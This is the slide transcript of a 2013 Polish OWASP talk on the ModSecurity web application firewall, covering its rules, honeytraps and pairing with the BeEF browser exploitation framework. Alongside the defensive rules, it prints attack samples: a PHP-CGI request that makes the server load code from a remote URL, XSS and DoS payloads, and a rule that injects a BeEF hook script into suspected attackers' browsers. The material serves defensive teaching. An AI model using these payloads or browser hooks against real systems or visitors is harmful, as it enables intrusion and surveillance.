Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Leszek Miś "Czy twoj WAF to potrafi"

1,205 views

Published on

Prezentacja ze spotkania OWASP w Krakowie w 2013 roku, poświęcona mod_security.

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Leszek Miś "Czy twoj WAF to potrafi"

  1. 1. Czy Twój WAF to potrafi? modsecurity. Leszek Miś IT Security Architect RHCA, RHCSS lm@linuxpolska.pl 1Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  2. 2. /whoami• IT Security Architect @ Linux Polska Sp. z o.o.• Lider projektu WALLF Web Gateway (http://wallf.pl)• RHCA/RHCSS/RHCX• Skupiam się głównie na: – Linux Security – Web Security – Pentesty – SSO – Linux forensics – Klastry, wirtualizacja, cloud, storage 2 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  3. 3. Agenda1. Kilka słów wstępu.2. Podstawowe możliwości.3. Realne przypadki4. PoC: - Honeypot + modsecurity - BeeF+modsecurity = give me your real IP!5. Podsumowanie. 3 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  4. 4. modsecurity• Najczęściej wykorzystywany WAF na świecie• Open source• Tysiące dl/miesiąc• Chronionych ponad milion serwerów• Tryby pracy: – Wbudowany – Reverse Proxy 4 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  5. 5. modsecurity• Od zawsze dostępny dla Apache• Od niedawna także dla: – Nginx (jest też naxsi oraz ngx_LUA based) – Microsoft IIS• Blacklist: OWASP Modsecurity Core Rule Set• Whitelist – learning mode: – Modprofiler – WebApplicationProfiler – REMO 5 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  6. 6. modsecurity 6 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  7. 7. modsecurity• Wirtualne patchowanie i integracja z DAST: – ZAP, Arachni, RPC LUA API• Bramka typu Intrusion Prevention dla protokołu HTTP (Reverse Proxy)• Możliwość szybkiej modyfikacji reguł• Ochrona przed błędami typu 0-day dla aplikacji webowych• Geolokalizacja• Ochrona antywirusowa dla uploadów• Nadawanie flag ciasteczkom 7 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  8. 8. Modsecurity CRS• HTTP Protection - detecting violations of the HTTP protocol and a locally defined usage policy.• Real-time Blacklist Lookups - utilizes 3rd Party IP Reputation• Web-based Malware Detection - identifies malicious web content by check against the Google Safe Browsing API.• HTTP Denial of Service Protections - defense against HTTP Flooding and Slow HTTP DoS Attacks.• Common Web Attacks Protection - detecting common web application security attack.• Automation Detection - Detecting bots, crawlers, scanners and other surface malicious activity. 8 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  9. 9. Modsecurity CRS• Integration with AV Scanning for File Uploads - detects malicious files uploaded through the web application.• Tracking Sensitive Data - Tracks Credit Card usage and blocks leakages.• Trojan Protection - Detecting access to Trojans horses.• Identification of Application Defects - alerts on application misconfigurations.• Error Detection and Hiding - Disguising error messages sent by the server. 9 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  10. 10. Modsecurity CRS modsecurity_35_bad_robots.data modsecurity_crs_23_request_limits.conf modsecurity_crs_47_common_exceptions.conf modsecurity_35_scanners.data modsecurity_crs_30_http_policy.conf modsecurity_crs_48_local_exceptions.conf.example modsecurity_40_generic_attacks.data modsecurity_crs_35_bad_robots.conf modsecurity_crs_49_inbound_blocking.conf modsecurity_41_sql_injection_attacks.data modsecurity_crs_40_generic_attacks.conf modsecurity_crs_50_outbound.conf modsecurity_50_outbound.data modsecurity_crs_41_sql_injection_attacks.conf modsecurity_crs_59_outbound_blocking.conf modsecurity_50_outbound_malware.data modsecurity_crs_41_xss_attacks.conf modsecurity_crs_60_correlation.conf modsecurity_crs_20_protocol_violations.conf modsecurity_crs_42_tight_security.conf modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_45_trojans.conf 10 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  11. 11. Realne przypadki 11Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  12. 12. Realne przypadki• Ruby on Rails XML Exploits – Podatność w kodzie parsującym parametry XML – YAML i Symbol – Wykonanie dowolnego polecenia systemowego• Modsecurity potrafi parsować i walidować XML:• SecRule REQUEST_HEADERS:Content-Type "text/xml" "id:900017, phase:1, t:none,t:lowercase, nolog, pass, chain" SecRule REQBODY_PROCESSOR "!@streq XML" "ctl:requestBodyProcessor=XML" 12 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  13. 13. Realne przypadki• Positive security model dla formularza logowania + ochrona przed brute force• 13 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  14. 14. Realne przypadki• Ochrona przed atakami typu Slow HTTP DOS – Slowloris: • Atakujący wysyła niekompletny zbiór nagłówków • „Zaśmiecenie” kolejki read request i write request • Serwer oczekuje dalszych requestów, aż do Timeoutu • Wysyłanie kolejnych żądań powoduje wysycenie zasobów – R-U-dead-yet czyli RUDY attack: • Faza request headers wykonywana poprawnie • Wolne wysyłanie request body, np 1bajt/100s – Wiele innych jak HOIC/LOIC 14 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  15. 15. Realne przypadki• Kontrolowanie ilości połączeń w stanie Busy: SecReadStateLimit 5 SecWriteStateLimit 5• [Mon Nov 22 17:44:46 2010] [warn] ModSecurity: Access denied with code 400.• Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -• Possible DoS Consumption Attack [Rejected]• [Mon Nov 22 17:44:47 2010] [warn] ModSecurity: Access denied with code 400.• Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -• Possible DoS Consumption Attack [Rejected] 15 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  16. 16. Realne przypadki• HULK DOS Tool: – Pythony skrypt – Randomizowane wartości nagłówków: User-Agent, Referer, Keep-alive – Zawsze ta sama kolejność –• 16 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  17. 17. Realne przypadki• CVE-2012-1823: – PHP jako czyste CGI – mod_cgid• Możliwość podglądu kodu źródłowego: – GET /index.php?-s – /index.php?-dallow_url_include%3don+- dauto_prepend_file %3dhttp://www.bu67778.com/a.txt• SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block ,log,msg:Potential PHP-CGI Exploit Attempt"• Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl 17
  18. 18. Realne przypadki• OsCommerce 3.0.2 – XSS• Parametr „name” : – POST /oscommerce/index.php? RPC&Setup&Install&DBCheck HTTP/1.1 – server=&username=&password=&name= %3Cscript%3Ealert(123)%3C%2Fscript %3E&port=&class=SQL• 18 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  19. 19. Realne przypadki• Movable Types: XSS• Parametr dbuser: – POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1 – __mode=test&step=configure&set_static_uri_to=&d efault_language=en- us&config=&dbtype=mysql&dbserver=localhost&db name=&dbuser=%3Cscript%3Ealert %28%27123%27%29%3C%2Fscript %3E&dbpass=test&dbpath=&dbport=&dbsocket=&t est=1 19 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  20. 20. Realne przypadki• Movable types: 20 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  21. 21. Realne przypadki• ASP.NET HashTable DoS:• Paylodem była bardzo duża ilość losowych parametrów z pustą zawartością:• EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138 LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0 TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JK KKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D 3ACY8973E=&VGJPMCQHP=&AV6THWSCA7=• SecRequestBodyLimit 131072 – domyślna wartość• This directive is useful to reduce susceptibility to DoS attacks when someone is sending request bodies of very large sizes. 21 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  22. 22. Honeytrapy 22Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  23. 23. Honeytrapy• Wykorzystanie istniejących serwerów: – Listen 8080 – Listen 8888 – Listen 8000• Wykrywanie i blokowanie automatów skanujących pod kątem webappek na niestandardowych portach• Tagowanie klientów• Rozpoznawanie pod kątem prawdziwej aplikacji 23 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  24. 24. Honeytrapy• SecRule SERVER_PORT "^(8000|8080|8888)$" "id:999004,phase:2,t:none,log,block,msg:HoneyTrap Alert: Traffic Received on Fake Port., setvar:ip.malicious_client=1"• SecRule &IP:MALICIOUS_CLIENT "@eq 1" "id:999005,phase:2,t:none,log,block,msg:HoneyTrap Alert: Known Malicious Client."• Integracja z WASC Web Honeypots 24 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  25. 25. Mięsko ;) 25Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  26. 26. BEEF• The Browser Exploitation Framework – zaawansowane narzędzie do pentestów• Browser as Pentesters gateway || C&C• Wymagane: – Zmuszenie użytkownika do wejścia na stronę (FB,TW, krótkie linki) – Phishing – XSS – dla tych którzy uważają, że XSS nic nie znaczy 26 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  27. 27. BEEF• Pozwala na przejęcie kontroli nad przeglądarką użytkownika poprzez wstrzykiwanie hooków: – Bind shell – Javascript command – Odwiedzane URLe – Skanowanie portów/dns enum/network discovery – Man In The Browser – Tunelowanie – Keylogger• Integracja z metasploit, np: – XSS->Hook->przejęcie kontroli nad przeglądarką – Wykorzystanie podatności, np. w Adobe – Dostęp do shella z poziomu metasploita 27 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  28. 28. • W jaki sposób wyśledzić prawdziwy adres źródłowy atakującego? – Proxy – TOR• Analiza powłamaniowa 28 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  29. 29. Co mamy?• Modsecurity jako WAF: – Wykrywanie ataków – Aktywacja Beefa• BeEF jako browser exploitation framework: – Hookowanie atakujących – Enumeracja lokalizacji atakującego• AuditConsole: – Centralna konsola do analizy logów 29 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  30. 30. modsecurity+BEEF• Idea przedstawiona na Appsec 2012 USA przez Rayna Barnetta• Ograniczenie do połączeń do tych „z browsera”• Monitorowanie atakujących 30 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  31. 31. modsecurity+BEEF• Filtrowanie wyjścia: – SecResponseBodyAccess• Modyfikacja HTTP Response data – SecContentInjection – SecStreamOutBodyInspection – Zmienna STREAM_OUTPUT_BODY – Operator @rsub• SecRule STREAM_OUTPUT_BODY " <at> rsub s/FUCK/****/" "phase:4,t:none,log,auditlog,pass" 31 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  32. 32. modsecurity+BEEF• W jaki sposób zidentyfikować atakującego?• Założyć pułapki: – Fake cookies – Robots.txt – Ukryte pola formularzy: • SecRule STREAM_OUTPUT_BODY "@rsub s/</form>/<input type="hidden" name="admin" value="false"></form>/id" id:"999999", phase:4,t:none,nolog,pass" 32 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  33. 33. modsecurity+BEEF• SecRule ARGS:admin "!@streq false" "id:9999923,phase:2,t:none,log,block,msg:Honey trap alert: hidden form data manipulated,setvar:tx.malicious_client=1"• SecRule TX:MALICIOUS_CLIENT "@eq 1" "chain,id:999232, phase:4, t:none, pass, log,msg:hooking to beef"• SecRule STREAM_OUTPUT_BODY "@rsub" s/</html>/<script src=http://10.0.0.1:5000/functions.js"></script></ht ml> 33 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  34. 34. modsecurity+BEEF• Geolokalizacja: – Lokalnie dostępne access pointy• Uzyskanie dostępu do CMD celem wysłania ICMP do naszego hosta: – Analiza ruchu i wykrycie faktycznego adresu IP 34 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  35. 35. Podsumowanie• W modsecurity drzemią ogromne możliwości i potencjał• Reguły oparte na blacklistach prędzej czy później mogą zostać ominięte• Whitelisting trudny we wdrożeniu, utrzymaniu i czasochłonny – zmieniające się aplikacje• Audytowanie logów – konieczność• 35 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  36. 36. Podsumowanie Dziękuję za uwagę. lm@linuxpolska.pl 36 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl

×